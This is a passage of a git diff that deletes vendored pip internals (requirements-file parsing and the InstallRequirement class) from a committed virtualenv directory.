-        yield from self._parse_and_recurse(
-            filename, constraint, [{os.path.abspath(filename): None}]
-        )
-
-    def _parse_and_recurse(
-        self,
-        filename: str,
-        constraint: bool,
-        parsed_files_stack: list[dict[str, str | None]],
-    ) -> Generator[ParsedLine, None, None]:
-        for line in self._parse_file(filename, constraint):
-            if line.requirement is None and (
-                line.opts.requirements or line.opts.constraints
-            ):
-                # parse a nested requirements file
-                if line.opts.requirements:
-                    req_path = line.opts.requirements[0]
-                    nested_constraint = False
-                else:
-                    req_path = line.opts.constraints[0]
-                    nested_constraint = True
-
-                # original file is over http
-                if SCHEME_RE.search(filename):
-                    # do a url join so relative paths work
-                    req_path = urllib.parse.urljoin(filename, req_path)
-                # original file and nested file are paths
-                elif not SCHEME_RE.search(req_path):
-                    # do a join so relative paths work
-                    # and then abspath so that we can identify recursive references
-                    req_path = os.path.abspath(
-                        os.path.join(
-                            os.path.dirname(filename),
-                            req_path,
-                        )
-                    )
-                parsed_files = parsed_files_stack[0]
-                if req_path in parsed_files:
-                    initial_file = parsed_files[req_path]
-                    tail = (
-                        f" and again in {initial_file}"
-                        if initial_file is not None
-                        else ""
-                    )
-                    raise RequirementsFileParseError(
-                        f"{req_path} recursively references itself in {filename}{tail}"
-                    )
-                # Keeping a track where was each file first included in
-                new_parsed_files = parsed_files.copy()
-                new_parsed_files[req_path] = filename
-                yield from self._parse_and_recurse(
-                    req_path, nested_constraint, [new_parsed_files, *parsed_files_stack]
-                )
-            else:
-                yield line
-
-    def _parse_file(
-        self, filename: str, constraint: bool
-    ) -> Generator[ParsedLine, None, None]:
-        _, content = get_file_content(filename, self._session, constraint=constraint)
-
-        lines_enum = preprocess(content)
-
-        for line_number, line in lines_enum:
-            try:
-                args_str, opts = self._line_parser(line)
-            except OptionParsingError as e:
-                # add offending line
-                msg = f"Invalid requirement: {line}\n{e.msg}"
-                raise RequirementsFileParseError(msg)
-
-            yield ParsedLine(
-                filename,
-                line_number,
-                args_str,
-                opts,
-                constraint,
-            )
-
-
-def get_line_parser(finder: PackageFinder | None) -> LineParser:
-    def parse_line(line: str) -> tuple[str, Values]:
-        # Build new parser for each line since it accumulates appendable
-        # options.
-        parser = build_parser()
-        defaults = parser.get_default_values()
-        defaults.index_url = None
-        if finder:
-            defaults.format_control = finder.format_control
-            defaults.release_control = finder.release_control
-
-        args_str, options_str = break_args_options(line)
-
-        try:
-            options = shlex.split(options_str)
-        except ValueError as e:
-            raise OptionParsingError(f"Could not split options: {options_str}") from e
-
-        opts, _ = parser.parse_args(options, defaults)
-
-        return args_str, opts
-
-    return parse_line
-
-
-def break_args_options(line: str) -> tuple[str, str]:
-    """Break up the line into an args and options string.  We only want to shlex
-    (and then optparse) the options, not the args.  args can contain markers
-    which are corrupted by shlex.
-    """
-    tokens = line.split(" ")
-    args = []
-    options = tokens[:]
-    for token in tokens:
-        if token.startswith(("-", "--")):
-            break
-        else:
-            args.append(token)
-            options.pop(0)
-    return " ".join(args), " ".join(options)
-
-
-class OptionParsingError(Exception):
-    def __init__(self, msg: str) -> None:
-        self.msg = msg
-
-
-def build_parser() -> optparse.OptionParser:
-    """
-    Return a parser for parsing requirement lines
-    """
-    parser = optparse.OptionParser(add_help_option=False)
-
-    option_factories = SUPPORTED_OPTIONS + SUPPORTED_OPTIONS_REQ
-    for option_factory in option_factories:
-        option = option_factory()
-        parser.add_option(option)
-
-    # By default optparse sys.exits on parsing errors. We want to wrap
-    # that in our own exception.
-    def parser_exit(self: Any, msg: str) -> NoReturn:
-        raise OptionParsingError(msg)
-
-    # NOTE: mypy disallows assigning to a method
-    #       https://github.com/python/mypy/issues/2427
-    parser.exit = parser_exit  # type: ignore
-
-    return parser
-
-
-def join_lines(lines_enum: ReqFileLines) -> ReqFileLines:
-    """Joins a line ending in '\' with the previous line (except when following
-    comments).  The joined line takes on the index of the first line.
-    """
-    primary_line_number = None
-    new_line: list[str] = []
-    for line_number, line in lines_enum:
-        if not line.endswith("\\") or COMMENT_RE.match(line):
-            if COMMENT_RE.match(line):
-                # this ensures comments are always matched later
-                line = " " + line
-            if new_line:
-                new_line.append(line)
-                assert primary_line_number is not None
-                yield primary_line_number, "".join(new_line)
-                new_line = []
-            else:
-                yield line_number, line
-        else:
-            if not new_line:
-                primary_line_number = line_number
-            new_line.append(line.strip("\\"))
-
-    # last line contains \
-    if new_line:
-        assert primary_line_number is not None
-        yield primary_line_number, "".join(new_line)
-
-
-def ignore_comments(lines_enum: ReqFileLines) -> ReqFileLines:
-    """
-    Strips comments and filter empty lines.
-    """
-    for line_number, line in lines_enum:
-        line = COMMENT_RE.sub("", line)
-        line = line.strip()
-        if line:
-            yield line_number, line
-
-
-def expand_env_variables(lines_enum: ReqFileLines) -> ReqFileLines:
-    """Replace all environment variables that can be retrieved via `os.getenv`.
-
-    The only allowed format for environment variables defined in the
-    requirement file is `${MY_VARIABLE_1}` to ensure two things:
-
-    1. Strings that contain a `$` aren't accidentally (partially) expanded.
-    2. Ensure consistency across platforms for requirement files.
-
-    These points are the result of a discussion on the `github pull
-    request #3514 `_.
-
-    Valid characters in variable names follow the `POSIX standard
-    `_ and are limited
-    to uppercase letter, digits and the `_` (underscore).
-    """
-    for line_number, line in lines_enum:
-        for env_var, var_name in ENV_VAR_RE.findall(line):
-            value = os.getenv(var_name)
-            if not value:
-                continue
-
-            line = line.replace(env_var, value)
-
-        yield line_number, line
-
-
-def get_file_content(
-    url: str, session: PipSession, *, constraint: bool = False
-) -> tuple[str, str]:
-    """Gets the content of a file; it may be a filename, file: URL, or
-    http: URL.  Returns (location, content).  Content is unicode.
-    Respects # -*- coding: declarations on the retrieved files.
-
-    :param url:         File path or url.
-    :param session:     PipSession instance.
-    """
-    scheme = urllib.parse.urlsplit(url).scheme
-    # Pip has special support for file:// URLs (LocalFSAdapter).
-    if scheme in ["http", "https", "file"]:
-        # Delay importing heavy network modules until absolutely necessary.
-        from pip._internal.network.utils import raise_for_status
-
-        resp = session.get(url)
-        raise_for_status(resp)
-        return resp.url, resp.text
-
-    # Assume this is a bare path.
-    try:
-        with open(url, "rb") as f:
-            raw_content = f.read()
-    except OSError as exc:
-        kind = "constraint" if constraint else "requirements"
-        raise InstallationError(f"Could not open {kind} file: {exc}")
-
-    content = _decode_req_file(raw_content, url)
-
-    return url, content
-
-
-def _decode_req_file(data: bytes, url: str) -> str:
-    for bom, encoding in BOMS:
-        if data.startswith(bom):
-            return data[len(bom) :].decode(encoding)
-
-    for line in data.split(b"\n")[:2]:
-        if line[0:1] == b"#":
-            result = PEP263_ENCODING_RE.search(line)
-            if result is not None:
-                encoding = result.groups()[0].decode("ascii")
-                return data.decode(encoding)
-
-    try:
-        return data.decode(DEFAULT_ENCODING)
-    except UnicodeDecodeError:
-        locale_encoding = get_locale_encoding() or sys.getdefaultencoding()
-        logging.warning(
-            "unable to decode data from %s with default encoding %s, "
-            "falling back to encoding from locale: %s. "
-            "If this is intentional you should specify the encoding with a "
-            "PEP-263 style comment, e.g. '# -*- coding: %s -*-'",
-            url,
-            DEFAULT_ENCODING,
-            locale_encoding,
-            locale_encoding,
-        )
-        return data.decode(locale_encoding)
diff --git a/venv/Lib/site-packages/pip/_internal/req/req_install.py b/venv/Lib/site-packages/pip/_internal/req/req_install.py
deleted file mode 100644
index f20707f3d24b2aee0d363d860acfa0aefaf4de1d..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/req/req_install.py
+++ /dev/null
@@ -1,842 +0,0 @@
-from __future__ import annotations
-
-import functools
-import logging
-import os
-import shutil
-import sys
-import uuid
-import zipfile
-from collections.abc import Collection, Iterable
-from optparse import Values
-from pathlib import Path
-from typing import Any
-
-from pip._vendor.packaging.markers import Marker
-from pip._vendor.packaging.requirements import Requirement
-from pip._vendor.packaging.specifiers import SpecifierSet
-from pip._vendor.packaging.utils import canonicalize_name
-from pip._vendor.packaging.version import Version
-from pip._vendor.packaging.version import parse as parse_version
-from pip._vendor.pyproject_hooks import BuildBackendHookCaller
-
-from pip._internal.build_env import BuildEnvironment, NoOpBuildEnvironment
-from pip._internal.exceptions import InstallationError, PreviousBuildDirError
-from pip._internal.locations import get_scheme
-from pip._internal.metadata import (
-    BaseDistribution,
-    get_default_environment,
-    get_directory_distribution,
-    get_wheel_distribution,
-)
-from pip._internal.metadata.base import FilesystemWheel
-from pip._internal.models.direct_url import DirectUrl
-from pip._internal.models.link import Link
-from pip._internal.operations.build.metadata import generate_metadata
-from pip._internal.operations.build.metadata_editable import generate_editable_metadata
-from pip._internal.pyproject import load_pyproject_toml, make_pyproject_path
-from pip._internal.req.req_uninstall import UninstallPathSet
-from pip._internal.utils.deprecation import deprecated
-from pip._internal.utils.hashes import Hashes
-from pip._internal.utils.misc import (
-    ConfiguredBuildBackendHookCaller,
-    ask_path_exists,
-    backup_dir,
-    display_path,
-    hide_url,
-    is_installable_dir,
-    redact_auth_from_requirement,
-    redact_auth_from_url,
-)
-from pip._internal.utils.packaging import get_requirement
-from pip._internal.utils.subprocess import runner_with_spinner_message
-from pip._internal.utils.temp_dir import TempDirectory, tempdir_kinds
-from pip._internal.utils.unpacking import unpack_file
-from pip._internal.utils.virtualenv import running_under_virtualenv
-from pip._internal.vcs import vcs
-
-logger = logging.getLogger(__name__)
-
-
-class InstallRequirement:
-    """
-    Represents something that may be installed later on, may have information
-    about where to fetch the relevant requirement and also contains logic for
-    installing the said requirement.
-    """
-
-    def __init__(
-        self,
-        req: Requirement | None,
-        comes_from: str | InstallRequirement | None,
-        editable: bool = False,
-        link: Link | None = None,
-        markers: Marker | None = None,
-        isolated: bool = False,
-        *,
-        hash_options: dict[str, list[str]] | None = None,
-        config_settings: dict[str, str | list[str]] | None = None,
-        constraint: bool = False,
-        extras: Collection[str] = (),
-        user_supplied: bool = False,
-    ) -> None:
-        assert req is None or isinstance(req, Requirement), req
-        self.req = req
-        self.comes_from = comes_from
-        self.constraint = constraint
-        self.editable = editable
-
-        # source_dir is the local directory where the linked requirement is
-        # located, or unpacked. In case unpacking is needed, creating and
-        # populating source_dir is done by the RequirementPreparer. Note this
-        # is not necessarily the directory where pyproject.toml or setup.py is
-        # located - that one is obtained via unpacked_source_directory.
-        self.source_dir: str | None = None
-        if self.editable:
-            assert link
-            if link.is_file:
-                self.source_dir = os.path.normpath(os.path.abspath(link.file_path))
-
-        # original_link is the direct URL that was provided by the user for the
-        # requirement, either directly or via a constraints file.
-        if link is None and req and req.url:
-            # PEP 508 URL requirement
-            link = Link(req.url)
-        self.link = self.original_link = link
-
-        # When this InstallRequirement is a wheel obtained from the cache of locally
-        # built wheels, this is the source link corresponding to the cache entry, which
-        # was used to download and build the cached wheel.
-        self.cached_wheel_source_link: Link | None = None
-
-        # Information about the location of the artifact that was downloaded . This
-        # property is guaranteed to be set in resolver results.
-        self.download_info: DirectUrl | None = None
-
-        # Path to any downloaded or already-existing package.
-        self.local_file_path: str | None = None
-        if self.link and self.link.is_file:
-            self.local_file_path = self.link.file_path
-
-        if extras:
-            self.extras = extras
-        elif req:
-            self.extras = req.extras
-        else:
-            self.extras = set()
-        if markers is None and req:
-            markers = req.marker
-        self.markers = markers
-
-        # This holds the Distribution object if this requirement is already installed.
-        self.satisfied_by: BaseDistribution | None = None
-        # Whether the installation process should try to uninstall an existing
-        # distribution before installing this requirement.
-        self.should_reinstall = False
-        # Temporary build location
-        self._temp_build_dir: TempDirectory | None = None
-        # Set to True after successful installation
-        self.install_succeeded: bool | None = None
-        # Supplied options
-        self.hash_options = hash_options if hash_options else {}
-        self.config_settings = config_settings
-        # Set to True after successful preparation of this requirement
-        self.prepared = False
-        # User supplied requirement are explicitly requested for installation
-        # by the user via CLI arguments or requirements files, as opposed to,
-        # e.g. dependencies, extras or constraints.
-        self.user_supplied = user_supplied
-
-        self.isolated = isolated
-        self.build_env: BuildEnvironment = NoOpBuildEnvironment()
-
-        # For PEP 517, the directory where we request the project metadata
-        # gets stored. We need this to pass to build_wheel, so the backend
-        # can ensure that the wheel matches the metadata (see the PEP for
-        # details).
-        self.metadata_directory: str | None = None
-
-        # The cached metadata distribution that this requirement represents.
-        # See get_dist / set_dist.
-        self._distribution: BaseDistribution | None = None
-
-        # The static build requirements (from pyproject.toml)
-        self.pyproject_requires: list[str] | None = None
-
-        # Build requirements that we will check are available
-        self.requirements_to_check: list[str] = []
-
-        # The PEP 517 backend we should use to build the project
-        self._pep517_backend_spec: str
-        self._pep517_backend_path: str | None
-        self.pep517_backend: BuildBackendHookCaller | None = None
-
-        # This requirement needs more preparation before it can be built
-        self.needs_more_preparation = False
-
-        # This requirement needs to be unpacked before it can be installed.
-        self._archive_source: Path | None = None
-
-    def __str__(self) -> str:
-        if self.req:
-            s = redact_auth_from_requirement(self.req)
-            if self.link:
-                s += f" from {redact_auth_from_url(self.link.url)}"
-        elif self.link:
-            s = redact_auth_from_url(self.link.url)
-        else:
-            s = ""
-        if self.satisfied_by is not None:
-            if self.satisfied_by.location is not None:
-                location = display_path(self.satisfied_by.location)
-            else:
-                location = ""
-            s += f" in {location}"
-        if self.comes_from:
-            if isinstance(self.comes_from, str):
-                comes_from: str | None = self.comes_from
-            else:
-                comes_from = self.comes_from.from_path()
-            if comes_from:
-                s += f" (from {comes_from})"
-        return s
-
-    def __repr__(self) -> str:
-        return (
-            f"<{self.__class__.__name__} object: "
-            f"{str(self)} editable={self.editable!r}>"
-        )
-
-    def format_debug(self) -> str:
-        """An un-tested helper for getting state, for debugging."""
-        attributes = vars(self)
-        names = sorted(attributes)
-
-        state = (f"{attr}={attributes[attr]!r}" for attr in sorted(names))
-        return "<{name} object: {{{state}}}>".format(
-            name=self.__class__.__name__,
-            state=", ".join(state),
-        )
-
-    # Things that are valid for all kinds of requirements?
-    @property
-    def name(self) -> str | None:
-        if self.req is None:
-            return None
-        return self.req.name
-
-    @functools.cached_property
-    def supports_pyproject_editable(self) -> bool:
-        assert self.pep517_backend
-        with self.build_env:
-            runner = runner_with_spinner_message(
-                "Checking if build backend supports build_editable"
-            )
-            with self.pep517_backend.subprocess_runner(runner):
-                return "build_editable" in self.pep517_backend._supported_features()
-
-    @property
-    def specifier(self) -> SpecifierSet:
-        assert self.req is not None
-        return self.req.specifier
-
-    @property
-    def is_direct(self) -> bool:
-        """Whether this requirement was specified as a direct URL."""
-        return self.original_link is not None
-
-    @property
-    def is_pinned(self) -> bool:
-        """Return whether I am pinned to an exact version.
-
-        For example, some-package==1.2 is pinned; some-package>1.2 is not.
-        """
-        assert self.req is not None
-        specifiers = self.req.specifier
-        return len(specifiers) == 1 and next(iter(specifiers)).operator in {"==", "==="}
-
-    def match_markers(self, extras_requested: Iterable[str] | None = None) -> bool:
-        if not extras_requested:
-            # Provide an extra to safely evaluate the markers
-            # without matching any extra
-            extras_requested = ("",)
-        if self.markers is not None:
-            return any(
-                self.markers.evaluate({"extra": extra}) for extra in extras_requested
-            )
-        else:
-            return True
-
-    @property
-    def has_hash_options(self) -> bool:
-        """Return whether any known-good hashes are specified as options.
-
-        These activate --require-hashes mode; hashes specified as part of a
-        URL do not.
-
-        """
-        return bool(self.hash_options)
-
-    def hashes(self, trust_internet: bool = True) -> Hashes:
-        """Return a hash-comparer that considers my option- and URL-based
-        hashes to be known-good.
-
-        Hashes in URLs--ones embedded in the requirements file, not ones
-        downloaded from an index server--are almost peers with ones from
-        flags. They satisfy --require-hashes (whether it was implicitly or
-        explicitly activated) but do not activate it. md5 and sha224 are not
-        allowed in flags, which should nudge people toward good algos. We
-        always OR all hashes together, even ones from URLs.
-
-        :param trust_internet: Whether to trust URL-based (#md5=...) hashes
-            downloaded from the internet, as by populate_link()
-
-        """
-        good_hashes = self.hash_options.copy()
-        if trust_internet:
-            link = self.link
-        elif self.is_direct and self.user_supplied:
-            link = self.original_link
-        else:
-            link = None
-        if link and link.hash:
-            assert link.hash_name is not None
-            good_hashes.setdefault(link.hash_name, []).append(link.hash)
-        return Hashes(good_hashes)
-
-    def from_path(self) -> str | None:
-        """Format a nice indicator to show where this "comes from" """
-        if self.req is None:
-            return None
-        s = str(self.req)
-        if self.comes_from:
-            comes_from: str | None
-            if isinstance(self.comes_from, str):
-                comes_from = self.comes_from
-            else:
-                comes_from = self.comes_from.from_path()
-            if comes_from:
-                s += "->" + comes_from
-        return s
-
-    def ensure_build_location(
-        self, build_dir: str, autodelete: bool, parallel_builds: bool
-    ) -> str:
-        assert build_dir is not None
-        if self._temp_build_dir is not None:
-            assert self._temp_build_dir.path
-            return self._temp_build_dir.path
-        if self.req is None:
-            # Some systems have /tmp as a symlink which confuses custom
-            # builds (such as numpy). Thus, we ensure that the real path
-            # is returned.
-            self._temp_build_dir = TempDirectory(
-                kind=tempdir_kinds.REQ_BUILD, globally_managed=True
-            )
-
-            return self._temp_build_dir.path
-
-        # This is the only remaining place where we manually determine the path
-        # for the temporary directory. It is only needed for editables where
-        # it is the value of the --src option.
-
-        # When parallel builds are enabled, add a UUID to the build directory
-        # name so multiple builds do not interfere with each other.
-        dir_name: str = canonicalize_name(self.req.name)
-        if parallel_builds:
-            dir_name = f"{dir_name}_{uuid.uuid4().hex}"
-
-        # FIXME: Is there a better place to create the build_dir? (hg and bzr
-        # need this)
-        if not os.path.exists(build_dir):
-            logger.debug("Creating directory %s", build_dir)
-            os.makedirs(build_dir)
-        actual_build_dir = os.path.join(build_dir, dir_name)
-        # `None` indicates that we respect the globally-configured deletion
-        # settings, which is what we actually want when auto-deleting.
-        delete_arg = None if autodelete else False
-        return TempDirectory(
-            path=actual_build_dir,
-            delete=delete_arg,
-            kind=tempdir_kinds.REQ_BUILD,
-            globally_managed=True,
-        ).path
-
-    def _set_requirement(self) -> None:
-        """Set requirement after generating metadata."""
-        assert self.req is None
-        assert self.metadata is not None
-        assert self.source_dir is not None
-
-        # Construct a Requirement object from the generated metadata
-        if isinstance(parse_version(self.metadata["Version"]), Version):
-            op = "=="
-        else:
-            op = "==="
-
-        self.req = get_requirement(
-            "".join(
-                [
-                    self.metadata["Name"],
-                    op,
-                    self.metadata["Version"],
-                ]
-            )
-        )
-
-    def warn_on_mismatching_name(self) -> None:
-        assert self.req is not None
-        metadata_name = canonicalize_name(self.metadata["Name"])
-        if canonicalize_name(self.req.name) == metadata_name:
-            # Everything is fine.
-            return
-
-        # If we're here, there's a mismatch. Log a warning about it.
-        logger.warning(
-            "Generating metadata for package %s "
-            "produced metadata for project name %s. Fix your "
-            "#egg=%s fragments.",
-            self.name,
-            metadata_name,
-            self.name,
-        )
-        self.req = get_requirement(metadata_name)
-
-    def check_if_exists(self, use_user_site: bool) -> None:
-        """Find an installed distribution that satisfies or conflicts
-        with this requirement, and set self.satisfied_by or
-        self.should_reinstall appropriately.
-        """
-        if self.req is None:
-            return
-        existing_dist = get_default_environment().get_distribution(self.req.name)
-        if not existing_dist:
-            return
-
-        version_compatible = self.req.specifier.contains(
-            existing_dist.version,
-            prereleases=True,
-        )
-        if not version_compatible:
-            self.satisfied_by = None
-            if use_user_site:
-                if existing_dist.in_usersite:
-                    self.should_reinstall = True
-                elif running_under_virtualenv() and existing_dist.in_site_packages:
-                    raise InstallationError(
-                        f"Will not install to the user site because it will "
-                        f"lack sys.path precedence to {existing_dist.raw_name} "
-                        f"in {existing_dist.location}"
-                    )
-            else:
-                self.should_reinstall = True
-        else:
-            if self.editable:
-                self.should_reinstall = True
-                # when installing editables, nothing pre-existing should ever
-                # satisfy
-                self.satisfied_by = None
-            else:
-                self.satisfied_by = existing_dist
-
-    # Things valid for wheels
-    @property
-    def is_wheel(self) -> bool:
-        if not self.link:
-            return False
-        return self.link.is_wheel
-
-    @property
-    def is_wheel_from_cache(self) -> bool:
-        # When True, it means that this InstallRequirement is a local wheel file in the
-        # cache of locally built wheels.
-        return self.cached_wheel_source_link is not None
-
-    # Things valid for sdists
-    @property
-    def unpacked_source_directory(self) -> str:
-        assert self.source_dir, f"No source dir for {self}"
-        return os.path.join(
-            self.source_dir, self.link and self.link.subdirectory_fragment or ""
-        )
-
-    @property
-    def setup_py_path(self) -> str:
-        assert self.source_dir, f"No source dir for {self}"
-        setup_py = os.path.join(self.unpacked_source_directory, "setup.py")
-
-        return setup_py
-
-    @property
-    def pyproject_toml_path(self) -> str:
-        assert self.source_dir, f"No source dir for {self}"
-        return make_pyproject_path(self.unpacked_source_directory)
-
-    def load_pyproject_toml(self) -> None:
-        """Load the pyproject.toml file.
-
-        After calling this routine, all of the attributes related to PEP 517
-        processing for this requirement have been set.
-        """
-        pyproject_toml_data = load_pyproject_toml(
-            self.pyproject_toml_path, self.setup_py_path, str(self)
-        )
-        assert pyproject_toml_data
-        requires, backend, check, backend_path = pyproject_toml_data
-        self.requirements_to_check = check
-        self.pyproject_requires = requires
-        self._pep517_backend_spec = backend
-        self._pep517_backend_path = backend_path
-
-    def configure_backend(self, python_executable: str) -> None:
-        """Set up the build backend hook caller.
-
-        This is done separately after pyproject.toml loading as the backend
-        need to be called with the build environment's Python executable,
-        which can vary."""
-        self.pep517_backend = ConfiguredBuildBackendHookCaller(
-            self,
-            self.unpacked_source_directory,
-            self._pep517_backend_spec,
-            backend_path=self._pep517_backend_path,
-            python_executable=python_executable,
-        )
-
-    def editable_sanity_check(self) -> None:
-        """Check that an editable requirement if valid for use with PEP 517/518.
-
-        This verifies that an editable has a build backend that supports PEP 660.
-        """
-        if self.editable and not self.supports_pyproject_editable:
-            raise InstallationError(
-                f"Project {self} uses a build backend "
-                f"that is missing the 'build_editable' hook, so "
-                f"it cannot be installed in editable mode. "
-                f"Consider using a build backend that supports PEP 660."
-            )
-
-    def prepare_metadata(self, allow_editables: bool) -> None:
-        """Ensure that project metadata is available.
-
-        Under PEP 517 and PEP 660, call the backend hook to prepare the metadata.
-        Under legacy processing, call setup.py egg-info.
-        """
-        assert self.source_dir, f"No source dir for {self}"
-        details = self.name or f"from {self.link}"
-
-        assert self.pep517_backend is not None
-        if self.editable and allow_editables and self.supports_pyproject_editable:
-            self.metadata_directory = generate_editable_metadata(
-                build_env=self.build_env,
-                backend=self.pep517_backend,
-                details=details,
-            )
-        else:
-            self.metadata_directory = generate_metadata(
-                build_env=self.build_env,
-                backend=self.pep517_backend,
-                details=details,
-            )
-
-        # Act on the newly generated metadata, based on the name and version.
-        if not self.name:
-            self._set_requirement()
-        else:
-            self.warn_on_mismatching_name()
-
-        self.assert_source_matches_version()
-
-    @property
-    def metadata(self) -> Any:
-        if not hasattr(self, "_metadata"):
-            self._metadata = self.get_dist().metadata
-
-        return self._metadata
-
-    def set_dist(self, distribution: BaseDistribution) -> None:
-        self._distribution = distribution
-
-    def get_dist(self) -> BaseDistribution:
-        if self._distribution is not None:
-            return self._distribution
-        elif self.metadata_directory:
-            return get_directory_distribution(self.metadata_directory)
-        elif self.local_file_path and self.is_wheel:
-            assert self.req is not None
-            return get_wheel_distribution(
-                FilesystemWheel(self.local_file_path),
-                canonicalize_name(self.req.name),
-            )
-        raise AssertionError(
-            f"InstallRequirement {self} has no metadata directory and no wheel: "
-            f"can't make a distribution."
-        )
-
-    def assert_source_matches_version(self) -> None:
-        assert self.source_dir, f"No source dir for {self}"
-        version = self.metadata["version"]
-        if self.req and self.req.specifier and version not in self.req.specifier:
-            logger.warning(
-                "Requested %s, but installing version %s",
-                self,
-                version,
-            )
-        else:
-            logger.debug(
-                "Source in %s has version %s, which satisfies requirement %s",
-                display_path(self.source_dir),
-                version,
-                self,
-            )
-
-    # For both source distributions and editables
-    def ensure_has_source_dir(
-        self,
-        parent_dir: str,
-        autodelete: bool = False,
-        parallel_builds: bool = False,
-    ) -> None:
-        """Ensure that a source_dir is set.
-
-        This will create a temporary build dir if the name of the requirement
-        isn't known yet.
-
-        :param parent_dir: The ideal pip parent_dir for the source_dir.
-            Generally src_dir for editables and build_dir for sdists.
-        :return: self.source_dir
-        """
-        if self.source_dir is None:
-            self.source_dir = self.ensure_build_location(
-                parent_dir,
-                autodelete=autodelete,
-                parallel_builds=parallel_builds,
-            )
-
-    def needs_unpacked_archive(self, archive_source: Path) -> None:
-        assert self._archive_source is None
-        self._archive_source = archive_source
-
-    def ensure_pristine_source_checkout(self) -> None:
-        """Ensure the source directory has not yet been built in."""
-        assert self.source_dir is not None
-        if self._archive_source is not None:
-            unpack_file(str(self._archive_source), self.source_dir)
-        elif is_installable_dir(self.source_dir):
-            # If a checkout exists, it's unwise to keep going.
-            # version inconsistencies are logged later, but do not fail
-            # the installation.
-            raise PreviousBuildDirError(
-                f"pip can't proceed with requirements '{self}' due to a "
-                f"pre-existing build directory ({self.source_dir}). This is likely "
-                "due to a previous installation that failed . pip is "
-                "being responsible and not assuming it can delete this. "
-                "Please delete it and try again."
-            )
-
-    # For editable installations
-    def update_editable(self) -> None:
-        if not self.link:
-            logger.debug(
-                "Cannot update repository at %s; repository location is unknown",
-                self.source_dir,
-            )
-            return
-        assert self.editable
-        assert self.source_dir
-        if self.link.scheme == "file":
-            # Static paths don't get updated
-            return
-        vcs_backend = vcs.get_backend_for_scheme(self.link.scheme)
-        # Editable requirements are validated in Requirement constructors.
-        # So here, if it's neither a path nor a valid VCS URL, it's a bug.
-        assert vcs_backend, f"Unsupported VCS URL {self.link.url}"
-        hidden_url = hide_url(self.link.url)
-        vcs_backend.obtain(self.source_dir, url=hidden_url, verbosity=0)
-
-    # Top-level Actions
-    def uninstall(
-        self, auto_confirm: bool = False, verbose: bool = False
-    ) -> UninstallPathSet | None:
-        """
-        Uninstall the distribution currently satisfying this requirement.
-
-        Prompts before removing or modifying files unless
-        ``auto_confirm`` is True.
-
-        Refuses to delete or modify files outside of ``sys.prefix`` -
-        thus uninstallation within a virtual environment can only
-        modify that virtual environment, even if the virtualenv is
-        linked to global site-packages.
-
-        """
-        assert self.req
-        dist = get_default_environment().get_distribution(self.req.name)
-        if not dist:
-            logger.warning("Skipping %s as it is not installed.", self.name)
-            return None
-        logger.info("Found existing installation: %s", dist)
-
-        uninstalled_pathset = UninstallPathSet.from_dist(dist)
-        uninstalled_pathset.remove(auto_confirm, verbose)
-        return uninstalled_pathset
-
-    def _get_archive_name(self, path: str, parentdir: str, rootdir: str) -> str:
-        def _clean_zip_name(name: str, prefix: str) -> str:
-            assert name.startswith(
-                prefix + os.path.sep
-            ), f"name {name!r} doesn't start with prefix {prefix!r}"
-            name = name[len(prefix) + 1 :]
-            name = name.replace(os.path.sep, "/")
-            return name
-
-        assert self.req is not None
-        path = os.path.join(parentdir, path)
-        name = _clean_zip_name(path, rootdir)
-        return self.req.name + "/" + name
-
-    def archive(self, build_dir: str | None) -> None:
-        """Saves archive to provided build_dir.
-
-        Used for saving downloaded VCS requirements as part of `pip download`.
-        """
-        assert self.source_dir
-        if build_dir is None:
-            return
-
-        create_archive = True
-        archive_name = "{}-{}.zip".format(self.name, self.metadata["version"])
-        archive_path = os.path.join(build_dir, archive_name)
-
-        if os.path.exists(archive_path):
-            response = ask_path_exists(
-                f"The file {display_path(archive_path)} exists. (i)gnore, (w)ipe, "
-                "(b)ackup, (a)bort ",
-                ("i", "w", "b", "a"),
-            )
-            if response == "i":
-                create_archive = False
-            elif response == "w":
-                logger.warning("Deleting %s", display_path(archive_path))
-                os.remove(archive_path)
-            elif response == "b":
-                dest_file = backup_dir(archive_path)
-                logger.warning(
-                    "Backing up %s to %s",
-                    display_path(archive_path),
-                    display_path(dest_file),
-                )
-                shutil.move(archive_path, dest_file)
-            elif response == "a":
-                sys.exit(-1)
-
-        if not create_archive:
-            return
-
-        zip_output = zipfile.ZipFile(
-            archive_path,
-            "w",
-            zipfile.ZIP_DEFLATED,
-            allowZip64=True,
-        )
-        with zip_output:
-            dir = os.path.normcase(os.path.abspath(self.unpacked_source_directory))
-            for dirpath, dirnames, filenames in os.walk(dir):
-                for dirname in dirnames:
-                    dir_arcname = self._get_archive_name(
-                        dirname,
-                        parentdir=dirpath,
-                        rootdir=dir,
-                    )
-                    zipdir = zipfile.ZipInfo(dir_arcname + "/")
-                    zipdir.external_attr = 0x1ED << 16  # 0o755
-                    zip_output.writestr(zipdir, "")
-                for filename in filenames:
-                    file_arcname = self._get_archive_name(
-                        filename,
-                        parentdir=dirpath,
-                        rootdir=dir,
-                    )
-                    filename = os.path.join(dirpath, filename)
-                    zip_output.write(filename, file_arcname)
-
-        logger.info("Saved %s", display_path(archive_path))
-
-    def install(
-        self,
-        root: str | None = None,
-        home: str | None = None,
-        prefix: str | None = None,
-        warn_script_location: bool = True,
-        use_user_site: bool = False,
-        pycompile: bool = True,
-        script_executable: str | None = None,
-    ) -> None:
-        # Lazy import to avoid transitively importing `_vendor.distlib.compat`
-        # which in turn imports `urllib.request` which is slow.
-        # During an actual installation, `urllib.request` will end up imported anyway,
-        # but `req.req_install` (this module) is also imported from commands that
-        # don't actually install anything (e.g. `pip freeze` or `pip show`).
-        from pip._internal.operations.install.wheel import install_wheel
-
-        assert self.req is not None
-        scheme = get_scheme(
-            self.req.name,
-            user=use_user_site,
-            home=home,
-            root=root,
-            isolated=self.isolated,
-            prefix=prefix,
-        )
-
-        assert self.is_wheel
-        assert self.local_file_path
-
-        install_wheel(
-            self.req.name,
-            self.local_file_path,
-            scheme=scheme,
-            req_description=str(self.req),
-            pycompile=pycompile,
-            warn_script_location=warn_script_location,
-            direct_url=self.download_info if self.is_direct else None,
-            requested=self.user_supplied,
-            script_executable=script_executable,
-        )
-        self.install_succeeded = True
-
-
-def check_invalid_constraint_type(req: InstallRequirement) -> str:
-    # Check for unsupported forms
-    problem = ""
-    if not req.name:
-        problem = "Unnamed requirements are not allowed as constraints"
-    elif req.editable:
-        problem = "Editable requirements are not allowed as constraints"
-    elif req.extras:
-        problem = "Constraints cannot have extras"
-
-    if problem:
-        deprecated(
-            reason=(
-                "Constraints are only allowed to take the form of a package "
-                "name and a version specifier. Other forms were originally "
